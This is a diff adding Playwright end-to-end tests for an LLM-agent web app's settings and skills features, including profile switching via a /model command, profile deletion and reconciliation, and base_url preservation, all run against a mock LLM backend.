+    await expect(addBtn).toBeVisible({ timeout: 15_000 });
+    await addBtn.dispatchEvent("click");
+
+    const basicToggle = page.getByTestId("sdk-section-basic-toggle");
+    await expect(basicToggle).toBeVisible({ timeout: 10_000 });
+    await basicToggle.dispatchEvent("click");
+
+    await expect(page.getByTestId("llm-settings-form-basic")).toBeVisible({
+      timeout: 15_000,
+    });
+
+    const providerInput = page.getByTestId("llm-provider-input");
+    await expect(providerInput).toBeVisible({ timeout: 15_000 });
+    await providerInput.click();
+    await providerInput.fill("");
+
+    // 150th entry (zero-indexed 149) sorts to the very end; if it renders,
+    // the local single-page path is intact.
+    const farDownOption = page.getByRole("option", {
+      name: "provider_0149",
+    });
+    await expect(
+      farDownOption,
+      "local backend surfaces providers past the default cut",
+    ).toBeVisible({ timeout: 10_000 });
+
+    // BACKEND_URL is unused by the test body; referenced only so an unused-
+    // import warning doesn't trip the strict e2e lint pass.
+    expect(BACKEND_URL).toBeTruthy();
+  });
+});
diff --git a/tests/e2e/mock-llm/settings/mock-llm-model-switch.spec.ts b/tests/e2e/mock-llm/settings/mock-llm-model-switch.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..911da99a0d9359b72c3a0d09823425ae4f2e63b8
--- /dev/null
+++ b/tests/e2e/mock-llm/settings/mock-llm-model-switch.spec.ts
@@ -0,0 +1,240 @@
+/**
+ * Mock-LLM E2E test: /model slash command — mid-conversation LLM profile switching.
+ *
+ * Exercises the full /model flow end-to-end against the real agent-server:
+ *
+ *   1. Setup: configure the active LLM settings via ensureMockLLMProfile
+ *      (the proven pattern), create a named profile B as the switch target
+ *      via the profiles API, and register a trajectory with text replies.
+ *
+ *   2. Conversation + switch: start a conversation from the home page,
+ *      wait for the agent to reply, then type `/model <profile-B>` in the
+ *      chat input. Verify the "Switched to profile" confirmation renders in
+ *      the chat UI. Verify the switch_llm POST was made to the agent-server
+ *      (the frontend fetches the full encrypted profile config and sends it
+ *      via /switch_llm rather than calling /switch_profile by name).
+ *
+ *   3. Post-switch verification: send another message after the switch
+ *      and verify the agent responds, proving the conversation continues
+ *      working under the new profile.
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  waitForPath,
+  getConversationIdFromURL,
+  waitForNonUserMessageText,
+  deleteConversation,
+  registerTrajectory,
+  activateTrajectory,
+  resetMockLLM,
+  ensureMockLLMProfile,
+  createProfileViaUI,
+  deleteProfileIfExists,
+  setChatInput,
+} from "../utils/mock-llm-helpers";
+
+/** Profile B is the switch target — created via the Settings UI. */
+const PROFILE_B_NAME = "model-switch-profile-b";
+const MODEL_B = "openai/mock-model-beta";
+
+const INITIAL_REPLY_TOKEN = "MODEL_SWITCH_INITIAL_REPLY_OK";
+const POST_SWITCH_REPLY_TOKEN = "MODEL_SWITCH_POST_SWITCH_REPLY_OK";
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("mock-LLM /model slash command", () => {
+  const conversationIds = new Set<string>();
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ request }) => {
+    for (const id of Array.from(conversationIds)) {
+      try {
+        await deleteConversation(request, id);
+        conversationIds.delete(id);
+      } catch {
+        // best-effort cleanup
+      }
+    }
+  });
+
+  test.afterAll(async ({ request, browser }) => {
+    // Best-effort cleanup via UI
+    const page = await browser.newPage();
+    try {
+      await seedLocalStorage(page);
+      await routeSessionApiKey(page);
+      await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+      await dismissAnalyticsModal(page);
+      await waitForTestId(page, "add-llm-profile");
+      await deleteProfileIfExists(page, PROFILE_B_NAME);
+    } catch {
+      // best-effort
+    } finally {
+      await page.close();
+    }
+    try {
+      await resetMockLLM(request);
+    } catch {
+      // best-effort
+    }
+  });
+
+  // ── Step 1: Configure LLM + create switch-target profile + register trajectory
+
+  test("step 1: configure LLM, create switch-target profile, register trajectory", async ({
+    page,
+    request,
+  }) => {
+    // Use the Settings UI to create + activate a mock LLM profile — the same
+    // flow used by mock-llm-conversation.spec.ts.
+    await ensureMockLLMProfile(page);
+
+    // Create profile B as the switch target through the Settings UI — it has
+    // a different model name but the same mock LLM base_url so post-switch
+    // inference still works. ensureMockLLMProfile leaves this page ready.
+    await deleteProfileIfExists(page, PROFILE_B_NAME);
+    await createProfileViaUI(page, {
+      profileName: PROFILE_B_NAME,
+      model: MODEL_B,
+    });
+
+    // Verify profile B appears in the list
+    const profileRows = page.getByTestId("profile-row");
+    const profileTexts = await profileRows.allTextContents();
+    expect(
+      profileTexts.some((text) => text.includes(PROFILE_B_NAME)),
+      `Profile "${PROFILE_B_NAME}" should appear in the list`,
+    ).toBe(true);
+
+    // Register a trajectory with THREE entries:
+    //   Turn 0: padding — the agent-server makes an internal LLM call
+    //           (condenser/skill-analysis) before the agent's main loop.
+    //           This consumes one trajectory response.  If the SDK removes
+    //           that internal call, this padding entry will cause an
+    //           off-by-one; delete it at that point.
+    //           Ref: same pattern in mock-llm-automation.spec.ts;
+    //           upstream SDK code: openhands-sdk CondensationMixin.
+    //   Turn 1: actual reply to the initial user message
+    //   Turn 2: reply to the post-switch follow-up message
+    await registerTrajectory(request, "model-switch", [
+      { text: "" }, // padding for internal LLM call (see comment above)
+      { text: INITIAL_REPLY_TOKEN },
+      { text: POST_SWITCH_REPLY_TOKEN },
+    ]);
+    await activateTrajectory(request, "model-switch");
+  });
+
+  // ── Step 2: Conversation + /model switch + post-switch verification ─
+
+  test("step 2: start conversation, switch profile via /model, verify switch", async ({
+    page,
+  }) => {
+    test.setTimeout(120_000);
+
+    // Track whether the switch_llm POST was intercepted.
+    // The frontend calls POST /api/conversations/{id}/switch_llm with the full
+    // encrypted profile config (model + api_key + base_url) rather than calling
+    // /switch_profile by name — this avoids an extra agent-server secrets fetch.
+    let switchLlmCalled = false;
+    let switchLlmBody: Record<string, unknown> | null = null;
+    page.on("request", (req) => {
+      const url = new URL(req.url());
+      if (
+        req.method() === "POST" &&
+        url.pathname.match(/\/api\/conversations\/[^/]+\/switch_llm/)
+      ) {
+        switchLlmCalled = true;
+        try {
+          switchLlmBody = req.postDataJSON();
+        } catch {
+          // non-JSON body
+        }
+      }
+    });
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "home-chat-launcher");
+
+    // ── Send initial message and wait for agent reply ──
+
+    await test.step("send initial message", async () => {
+      await setChatInput(page, "Hello, please respond briefly.");
+      await page.getByTestId("submit-button").click();
+      await waitForPath(page, /\/conversations\/.+/, 30_000);
+    });
+
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    await test.step("wait for initial agent reply", async () => {
+      await waitForNonUserMessageText(page, INITIAL_REPLY_TOKEN, 30_000);
+    });
+
+    // ── Type /model <profile-B> to switch ──
+
+    await test.step("type /model command to switch to profile B", async () => {
+      // Wait for the chat input to be available (it should be focused
+      // after the agent reply completes).
+      await waitForTestId(page, "chat-input");
+
+      await setChatInput(page, `/model ${PROFILE_B_NAME}`);
+      await page.getByTestId("submit-button").click();
+    });
+
+    // ── Verify: "Switched to profile" message appears in chat UI ──
+
+    await test.step("verify 'Switched to profile' message in chat", async () => {
+      // waitForNonUserMessageText already polls data-testid="model-messages"
+      // elements, so a successful wait proves the container is visible.
+      await waitForNonUserMessageText(page, PROFILE_B_NAME, 30_000);
+    });
+
+    // ── Verify: the switch_llm POST was made ──
+
+    await test.step("verify switch_llm API was called with profile B model", async () => {
+      expect(switchLlmCalled, "POST /switch_llm should have been called").toBe(
+        true,
+      );
+      expect(switchLlmBody).toBeTruthy();
+      // ConversationClient.switchLLM posts { llm: <config> } to switch_llm,
+      // so the model is nested under the "llm" key in the HTTP body.
+      const llm = switchLlmBody!.llm as Record<string, unknown> | undefined;
+      expect(llm, "switch_llm body should contain an llm object").toBeTruthy();
+      expect(
+        llm!.model,
+        `switch_llm body.llm.model should be "${MODEL_B}"`,
+      ).toBe(MODEL_B);
+    });
+
+    // ── Send a follow-up message to verify conversation still works ──
+
+    await test.step("send follow-up message after switch", async () => {
+      // Wait for the chat input to be ready — the UI may briefly disable
+      // it while the profile switch settles.
+      await waitForTestId(page, "chat-input");
+      await setChatInput(page, "Confirm the model switch worked.");
+      await page.getByTestId("submit-button").click();
+    });
+
+    await test.step("verify post-switch agent reply", async () => {
+      await waitForNonUserMessageText(page, POST_SWITCH_REPLY_TOKEN, 30_000);
+    });
+
+    // ── Verify: no error banners ──
+
+    await test.step("verify no error banners", async () => {
+      const errorBanner = page.getByTestId("error-message-banner");
+      await expect(errorBanner).not.toBeVisible({ timeout: 2_000 });
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/settings/mock-llm-profile-management.spec.ts b/tests/e2e/mock-llm/settings/mock-llm-profile-management.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..7139e7225d71d1571c9e8bfbdc2e8190a4f5dc3f
--- /dev/null
+++ b/tests/e2e/mock-llm/settings/mock-llm-profile-management.spec.ts
@@ -0,0 +1,518 @@
+/**
+ * Mock-LLM E2E tests: LLM profile management regressions.
+ *
+ * Covers two scenarios that previously had no end-to-end guard:
+ *
+ *   1. Active profile deletion + reconciliation:
+ *      The active LLM profile IS deletable (the PR #1127 disable-guard was
+ *      removed). Deleting it must not strand the app: useEnsureActiveProfile
+ *      promotes a remaining profile to active in local mode, so a usable LLM
+ *      is always selected. This test verifies delete is enabled and that the
+ *      remaining profile becomes active.
+ *
+ *   2. Same-model profile identity (PR #1123):
+ *      When two profiles share the same underlying model, the chat
+ *      header must display the correct profile name — the one the
+ *      user selected, not the first alphabetical match. The fix
+ *      stamps the active profile name on client-side conversation
+ *      metadata at creation and on per-conversation switches.
+ *
+ *   3. OpenHands provider hidden base_url preservation:
+ *      A base_url typed in Advanced view is still real profile data after
+ *      switching to Basic. Re-saving from Basic without changing the model
+ *      must preserve that hidden value.
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  BACKEND_URL,
+  SESSION_API_KEY,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  getConversationIdFromURL,
+  waitForNonUserMessageText,
+  deleteConversation,
+  registerTrajectory,
+  activateTrajectory,
+  resetMockLLM,
+  setChatInput,
+  waitForPath,
+  createProfileViaUI,
+  editProfileViaUI,
+  deleteProfileIfExists,
+  activateProfileViaUI,
+  ensureMockLLMAgentProfile,
+} from "../utils/mock-llm-helpers";
+
+const MOCK_MODEL = "openai/mock-test-model";
+
+/**
+ * Read-only helper: fetch a profile's persisted config via the API.
+ * Used to verify that UI-driven saves persisted the expected values.
+ */
+async function getProfileConfig(
+  request: import("@playwright/test").APIRequestContext,
+  name: string,
+): Promise<Record<string, unknown>> {
+  const resp = await request.get(
+    `${BACKEND_URL}/api/profiles/${encodeURIComponent(name)}`,
+    {
+      headers: {
+        "X-Session-API-Key": SESSION_API_KEY,
+        "X-Expose-Secrets": "encrypted",
+      },
+    },
+  );
+  expect(resp.ok(), `GET /api/profiles/${name}: ${resp.status()}`).toBe(true);
+  const data = await resp.json();
+  return (data.config ?? {}) as Record<string, unknown>;
+}
+
+test.describe.configure({ mode: "serial" });
+
+// ═══════════════════════════════════════════════════════════════════════
+// Test 1 — Active profile deletion guard (PR #1127)
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe("active profile deletion + reconciliation", () => {
+  const ACTIVE_PROFILE = "deletion-guard-active";
+  const INACTIVE_PROFILE = "deletion-guard-inactive";
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterAll(async ({ browser }) => {
+    // Best-effort cleanup via UI
+    const page = await browser.newPage();
+    try {
+      await seedLocalStorage(page);
+      await routeSessionApiKey(page);
+      await ensureMockLLMAgentProfile(page.request);
+      await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+      await dismissAnalyticsModal(page);
+      await waitForTestId(page, "add-llm-profile");
+      await deleteProfileIfExists(page, ACTIVE_PROFILE);
+      await deleteProfileIfExists(page, INACTIVE_PROFILE);
+    } catch {
+      // best-effort
+    } finally {
+      await page.close();
+    }
+  });
+
+  test("active profile is deletable and reconciliation activates another profile", async ({
+    page,
+  }) => {
+    // ── Setup: create two profiles via the UI, activate one ──
+    await routeSessionApiKey(page);
+    await ensureMockLLMAgentProfile(page.request);
+    await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "add-llm-profile");
+
+    // Clean up any leftover profiles from prior runs
+    await deleteProfileIfExists(page, ACTIVE_PROFILE);
+    await deleteProfileIfExists(page, INACTIVE_PROFILE);
+
+    // Create both profiles through the Settings UI
+    await createProfileViaUI(page, {
+      profileName: ACTIVE_PROFILE,
+      model: MOCK_MODEL,
+    });
+    await createProfileViaUI(page, {
+      profileName: INACTIVE_PROFILE,
+      model: MOCK_MODEL,
+    });
+
+    // Activate the first profile through the UI
+    await activateProfileViaUI(page, ACTIVE_PROFILE);
+
+    const rowFor = async (name: string) => {
+      const rows = page.getByTestId("profile-row");
+      const count = await rows.count();
+      for (let i = 0; i < count; i++) {
+        const row = rows.nth(i);
+        if ((await row.textContent())?.includes(name)) return row;
+      }
+      return null;
+    };
+
+    // ── Delete is now enabled on the active profile (the #1127 guard was
+    //    removed; useEnsureActiveProfile keeps a profile active instead) ──
+    await test.step("active profile: delete button is enabled", async () => {
+      const activeRow = await rowFor(ACTIVE_PROFILE);
+      expect(
+        activeRow,
+        `Could not find profile row for "${ACTIVE_PROFILE}"`,
+      ).not.toBeNull();
+
+      await activeRow!.getByTestId("profile-menu-trigger").click();
+      await waitForTestId(page, "profile-actions-menu");
+
+      const deleteButton = page.getByTestId("profile-delete");
+      await expect(
+        deleteButton,
+        "Delete button should be present in the menu",
+      ).toBeVisible();
+      await expect(
+        deleteButton,
+        "Delete should be enabled for the active profile",
+      ).toBeEnabled();
+
+      // Edit and Set-as-active should still be present
+      await expect(page.getByTestId("profile-edit")).toBeVisible();
+      await expect(page.getByTestId("profile-set-active")).toBeVisible();
+
+      await page.keyboard.press("Escape");
+    });
+
+    // ── Delete is enabled on an inactive profile too ──
+    await test.step("inactive profile: delete button is enabled", async () => {
+      const inactiveRow = await rowFor(INACTIVE_PROFILE);
+      expect(
+        inactiveRow,
+        `Could not find profile row for "${INACTIVE_PROFILE}"`,
+      ).not.toBeNull();
+
+      await inactiveRow!.getByTestId("profile-menu-trigger").click();
+      await waitForTestId(page, "profile-actions-menu");
+      await expect(page.getByTestId("profile-delete")).toBeEnabled();
+      await page.keyboard.press("Escape");
+    });
+
+    // ── Deleting the active profile reconciles to the remaining one ──
+    await test.step("deleting the active profile activates the remaining profile", async () => {
+      const activeRow = await rowFor(ACTIVE_PROFILE);
+      expect(activeRow).not.toBeNull();
+
+      await activeRow!.getByTestId("profile-menu-trigger").click();
+      await waitForTestId(page, "profile-actions-menu");
+      await page.getByTestId("profile-delete").click();
+
+      // Confirm in the delete modal.
+      await page.getByTestId("delete-profile-confirm").click();
+
+      // useEnsureActiveProfile re-activates the only remaining profile. Poll
+      // with reload — the delete + activate mutations may take a moment on CI.
+      await expect
+        .poll(
+          async () => {
+            await page.goto("/settings/llm", {
+              waitUntil: "domcontentloaded",
+            });
+            await waitForTestId(page, "add-llm-profile");
+            const remaining = await rowFor(INACTIVE_PROFILE);
+            if (!remaining) return false;
+            // The deleted profile must be gone, and reconciliation must keep
+            // *some* profile active (the "always have an active profile"
+            // guarantee). We don't assert it's INACTIVE_PROFILE specifically —
+            // other profiles may linger on the shared agent-server and
+            // useEnsureActiveProfile activates the first keyed one.
+            const goneRow = await rowFor(ACTIVE_PROFILE);
+            const activeBadges = await page
+              .getByTestId("profile-active-badge")
+              .count();
+            return goneRow === null && activeBadges > 0;
+          },
+          {
+            message: `"${INACTIVE_PROFILE}" should become active after deleting "${ACTIVE_PROFILE}"`,
+            timeout: 15_000,
+            intervals: [1_000, 2_000, 3_000],
+          },
+        )
+        .toBe(true);
+    });
+  });
+});
+
+// ═══════════════════════════════════════════════════════════════════════
+// Test 2 — Same-model profile identity (PR #1123)
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe("same-model profile identity", () => {
+  // Two profiles with DIFFERENT names but the SAME underlying model.
+  // Alphabetically, PROFILE_ALPHA < PROFILE_BETA — before the fix,
+  // the UI would always show PROFILE_ALPHA regardless of which was active.
+  const PROFILE_ALPHA = "aaa-profile-alpha";
+  const PROFILE_BETA = "zzz-profile-beta";
+  const SHARED_MODEL = "openai/mock-test-model";
+  const REPLY_TOKEN = "PROFILE_IDENTITY_REPLY_OK";
+
+  const conversationIds = new Set<string>();
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ request }) => {
+    for (const id of Array.from(conversationIds)) {
+      try {
+        await deleteConversation(request, id);
+        conversationIds.delete(id);
+      } catch {
+        // best-effort
+      }
+    }
+  });
+
+  test.afterAll(async ({ request, browser }) => {
+    // Best-effort cleanup via UI
+    const page = await browser.newPage();
+    try {
+      await seedLocalStorage(page);
+      await routeSessionApiKey(page);
+      await ensureMockLLMAgentProfile(page.request);
+      await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+      await dismissAnalyticsModal(page);
+      await waitForTestId(page, "add-llm-profile");
+      await deleteProfileIfExists(page, PROFILE_ALPHA);
+      await deleteProfileIfExists(page, PROFILE_BETA);
+    } catch {
+      // best-effort
+    } finally {
+      await page.close();
+    }
+    try {
+      await resetMockLLM(request);
+    } catch {
+      // best-effort
+    }
+  });
+
+  test("chat header shows the correct profile when two profiles share the same model", async ({
+    page,
+    request,
+  }) => {
+    test.setTimeout(120_000);
+
+    // ── Setup: create both profiles with the same model via the UI,
+    //    then activate BETA through the profile menu ──
+    await routeSessionApiKey(page);
+    await ensureMockLLMAgentProfile(page.request);
+    await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "add-llm-profile");
+
+    await deleteProfileIfExists(page, PROFILE_ALPHA);
+    await deleteProfileIfExists(page, PROFILE_BETA);
+
+    await createProfileViaUI(page, {
+      profileName: PROFILE_ALPHA,
+      model: SHARED_MODEL,
+    });
+    await createProfileViaUI(page, {
+      profileName: PROFILE_BETA,
+      model: SHARED_MODEL,
+    });
+    await activateProfileViaUI(page, PROFILE_BETA);
+
+    // Register a trajectory for the conversation.
+    // Turn 0 is padding: the agent-server makes an internal LLM call
+    // (condenser/skill-analysis) before the agent's main loop starts.
+    await registerTrajectory(request, "profile-identity", [
+      { text: "" }, // padding for internal condenser call
+      { text: REPLY_TOKEN },
+    ]);
+    await activateTrajectory(request, "profile-identity");
+
+    // ── Start a conversation ──
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "home-chat-launcher");
+
+    await setChatInput(page, "Test profile identity.");
+    await page.getByTestId("submit-button").click();
+    await waitForPath(page, /\/conversations\/.+/, 30_000);
+
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    // Wait for the agent to reply so the conversation is fully established
+    await waitForNonUserMessageText(page, REPLY_TOKEN, 30_000);
+
+    // ── Verify: profile switcher shows BETA, not ALPHA ──
+    await test.step("profile switcher shows the correct profile name", async () => {
+      // In a local OpenHands conversation the chat input renders the
+      // in-conversation LLM-profile picker, whose label is the active
+      // profile name (replaces the former switch-profile-button).
+      const profilePicker = page.getByTestId("chat-input-llm-profile");
+      await expect(profilePicker).toBeVisible({ timeout: 10_000 });
+      // The picker's visible text should contain PROFILE_BETA.
+      // Before the fix (PR #1123), it would show PROFILE_ALPHA because
+      // profiles were matched by model name and .find() returned the
+      // first alphabetical match.
+      await expect(profilePicker).toContainText(PROFILE_BETA, {
+        timeout: 10_000,
+      });
+    });
+
+    // ── Verify: profile identity survives a page reload ──
+    await test.step("profile identity persists after page reload", async () => {
+      await page.reload({ waitUntil: "domcontentloaded" });
+
+      // Re-wait for the conversation to load
+      await waitForNonUserMessageText(page, REPLY_TOKEN, 30_000);
+
+      const profilePicker = page.getByTestId("chat-input-llm-profile");
+      await expect(profilePicker).toBeVisible({ timeout: 10_000 });
+      await expect(
+        profilePicker,
+        "Profile identity should persist across page reloads",
+      ).toContainText(PROFILE_BETA, { timeout: 10_000 });
+    });
+  });
+});
+
+// ═══════════════════════════════════════════════════════════════════════
+// Test 3 — OpenHands provider hidden base_url preservation
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe("OpenHands provider hidden base_url preservation", () => {
+  // The public OpenHands provider model remains the profile identity, but a
+  // custom Advanced base_url is still user data. A same-model Basic save must
+  // not wipe it just because the field is invisible in that view.
+  const OPENHANDS_PROFILE = "openhands-basic-save-test";
+  const OPENHANDS_MODEL = "openhands/claude-opus-4-5-20251101";
+  const LEGACY_TRANSPORT_MODEL = "litellm_proxy/claude-opus-4-5-20251101";
+  const EXPECTED_OPENHANDS_MODELS = [OPENHANDS_MODEL, LEGACY_TRANSPORT_MODEL];
+  const CUSTOM_BASE_URL = "https://custom-openhands-proxy.example/v1";
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterAll(async ({ browser }) => {
+    const page = await browser.newPage();
+    try {
+      await seedLocalStorage(page);
+      await routeSessionApiKey(page);
+      await ensureMockLLMAgentProfile(page.request);
+      await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+      await dismissAnalyticsModal(page);
+      await waitForTestId(page, "add-llm-profile");
+      await deleteProfileIfExists(page, OPENHANDS_PROFILE);
+    } catch {
+      // best-effort
+    } finally {
+      await page.close();
+    }
+  });
+
+  test("re-saving an OpenHands profile from Basic view preserves hidden base_url", async ({
+    page,
+    request,
+  }) => {
+    // ── Setup: create a public OpenHands profile with a custom base_url through
+    // Advanced view. The value becomes hidden after switching to Basic, but it
+    // is still part of the profile unless the model changes. ──
+    await routeSessionApiKey(page);
+    // agent-server >= 1.43 pre-flights every profile save with a 1-token
+    // completion through the submitted config. CUSTOM_BASE_URL is a
+    // placeholder host by design — this test is about the value surviving a
+    // Basic-view re-save, not about reaching it — so answer the check from
+    // the browser instead of letting the SDK retry an unreachable host past
+    // the canvas's 30 s validation budget. Registered after
+    // routeSessionApiKey(): Playwright routes are LIFO, and that handler
+    // `continue()`s every backend request it sees first.
+    await page.route("**/api/profiles/*/validate", (route) =>
+      route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({ valid: true, error: null }),
+      }),
+    );
+    await ensureMockLLMAgentProfile(page.request);
+    await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "add-llm-profile");
+
+    const existingProfile = page
+      .getByTestId("profile-row")
+      .filter({ has: page.locator(`span[title="${OPENHANDS_PROFILE}"]`) });
+    if ((await existingProfile.count()) > 0) {
+      await editProfileViaUI(page, {
+        profileName: OPENHANDS_PROFILE,
+        model: OPENHANDS_MODEL,
+        baseUrl: CUSTOM_BASE_URL,
+      });
+    } else {
+      await createProfileViaUI(page, {
+        profileName: OPENHANDS_PROFILE,
+        model: OPENHANDS_MODEL,
+        baseUrl: CUSTOM_BASE_URL,
+      });
+    }
+
+    await test.step("open profile in edit mode", async () => {
+      const profileRows = page.getByTestId("profile-row");
+      const rowCount = await profileRows.count();
+      let targetRow: ReturnType<typeof profileRows.nth> | null = null;
+
+      for (let i = 0; i < rowCount; i++) {
+        const row = profileRows.nth(i);
+        const text = await row.textContent();
+        if (text?.includes(OPENHANDS_PROFILE)) {
+          targetRow = row;
+          break;
+        }
+      }
+      expect(
+        targetRow,
+        `Could not find profile row for "${OPENHANDS_PROFILE}"`,
+      ).not.toBeNull();
+
+      await targetRow!.getByTestId("profile-menu-trigger").click();
+      await waitForTestId(page, "profile-actions-menu");
+      await page.getByTestId("profile-edit").click();
+
+      await expect(page.getByTestId("profile-name-input")).toHaveValue(
+        OPENHANDS_PROFILE,
+        { timeout: 10_000 },
+      );
+    });
+
+    await test.step("switch to Basic view and save without changing model", async () => {
+      // Click the Basic toggle explicitly so the save path exercises the view
+      // that hides base_url without changing the selected model.
+      const basicToggle = page.getByTestId("sdk-section-basic-toggle");
+      if (await basicToggle.isVisible().catch(() => false)) {
+        await basicToggle.click();
+      }
+
+      const apiKeyInput = page.getByTestId("llm-api-key-input");
+      await expect(apiKeyInput).toBeVisible({ timeout: 10_000 });
+      await apiKeyInput.click();
+      await apiKeyInput.fill("mock-api-key-for-basic-resave");
+
+      const saveButton = page.getByTestId("save-profile-btn");
+      await expect(saveButton).toBeEnabled({ timeout: 10_000 });
+      await saveButton.click();
+
+      await waitForTestId(page, "add-llm-profile");
+    });
+
+    // ── Verify: Basic-tab save preserved the hidden custom base_url ──
+    await test.step("verify base_url is preserved after save", async () => {
+      const config = await getProfileConfig(request, OPENHANDS_PROFILE);
+      expect(
+        config.base_url,
+        "Basic-tab re-save without a model change must not clear hidden base_url",
+      ).toBe(CUSTOM_BASE_URL);
+      expect(EXPECTED_OPENHANDS_MODELS).toContain(config.model);
+    });
+
+    await test.step("profile survives page reload", async () => {
+      await page.reload({ waitUntil: "domcontentloaded" });
+      await waitForTestId(page, "add-llm-profile");
+
+      // Re-read via API to confirm persistence is durable
+      const config = await getProfileConfig(request, OPENHANDS_PROFILE);
+      expect(config.base_url).toBe(CUSTOM_BASE_URL);
+      expect(EXPECTED_OPENHANDS_MODELS).toContain(config.model);
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/settings/mock-llm-provider-connection-selector.spec.ts b/tests/e2e/mock-llm/settings/mock-llm-provider-connection-selector.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..6a4c0cc6545ca81fa24e470300236b7bd4a5d1ea
--- /dev/null
+++ b/tests/e2e/mock-llm/settings/mock-llm-provider-connection-selector.spec.ts
@@ -0,0 +1,49 @@
+import { test, expect } from "@playwright/test";
+import {
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+} from "../utils/mock-llm-helpers";
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("provider connection selector", () => {
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test("selects a supported provider in Add provider", async ({ page }) => {
+    test.setTimeout(120_000);
+
+    await routeSessionApiKey(page);
+    await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "add-provider-connection");
+
+    await page.getByTestId("add-provider-connection").click();
+
+    const modal = page.getByTestId("provider-connection-modal");
+    await expect(modal).toBeVisible();
+
+    const providerSelector = modal.getByRole("combobox", {
+      name: /provider/i,
+    });
+    await expect(providerSelector).toBeVisible();
+
+    await providerSelector.click();
+
+    const openAI = page.getByTestId("provider-item-openai");
+    await expect(openAI).toBeVisible();
+
+    // Leave the dropdown open long enough for the recorded animation
+    // to clearly demonstrate supported-provider choices.
+    await page.waitForTimeout(1_200);
+
+    await openAI.click();
+    await expect(providerSelector).toHaveValue("OpenAI");
+
+    // Hold the selected state for the final frames of the evidence.
+    await page.waitForTimeout(1_200);
+  });
+});
diff --git a/tests/e2e/mock-llm/skills/mock-llm-skills.spec.ts b/tests/e2e/mock-llm/skills/mock-llm-skills.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a398fa51eb84e2136cc87768ffcf5a5a697006f7
--- /dev/null
+++ b/tests/e2e/mock-llm/skills/mock-llm-skills.spec.ts
@@ -0,0 +1,395 @@
+/**
+ * Mock-LLM E2E tests: skill loading from project and user directories.
+ *
+ * These tests verify that the SDK's skill loading machinery works
+ * end-to-end with the real agent-server stack:
+ *
+ * 1. **Project skills** from `{workspace}/.agents/skills/` are loaded
+ *    alongside bundled public skills and trigger on matching keywords.
+ *    The test creates a standalone git repo with the skill committed,
+ *    then creates a conversation via API pointing at that repo. The
+ *    agent-server creates a worktree from the repo, and since the skill
+ *    is committed, `load_project_skills` finds it in the worktree.
+ *
+ * 2. **User skills** from `~/.openhands/skills/` are loaded and trigger
+ *    on matching keywords.
+ *
+ * 3. **Skill deletion**: removing a skill file means it is NOT loaded
+ *    in subsequent conversations.
+ *
+ * All tests create ephemeral SKILL.md files with unique trigger keywords,
+ * send a message containing those keywords, and verify `activated_skills`
+ * appears in the conversation events API.
+ */
+
+import {
+  test,
+  expect,
+  type APIRequestContext,
+  type Page,
+} from "@playwright/test";
+import {
+  BACKEND_URL,
+  SESSION_API_KEY,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForNonUserMessageText,
+  deleteConversation,
+  registerTrajectory,
+  activateTrajectory,
+  resetMockLLM,
+  ensureMockLLMProfile,
+  setChatInput,
+  waitForPath,
+  getConversationIdFromURL,
+} from "../utils/mock-llm-helpers";
+import {
+  createProjectSkillRepo,
+  removeProjectSkillRepo,
+  writeUserSkill,
+  removeUserSkill,
+  userSkillExists,
+  userSkillDirExists,
+} from "../utils/skill-test-helpers";
+
+/**
+ * Register a workspace on the agent-server so it appears in the UI dropdown.
+ */
+async function addWorkspaceToServer(
+  request: APIRequestContext,
+  name: string,
+  path: string,
+): Promise<void> {
+  const resp = await request.post(`${BACKEND_URL}/api/workspaces`, {
+    headers: {
+      "X-Session-API-Key": SESSION_API_KEY,
+      "Content-Type": "application/json",
+    },
+    data: {
+      workspaces: [{ id: `e2e-${name}`, name, path }],
+    },
+  });
+  expect(
+    resp.ok(),
+    `POST /api/workspaces failed: ${resp.status()} ${await resp.text()}`,
+  ).toBe(true);
+}
+
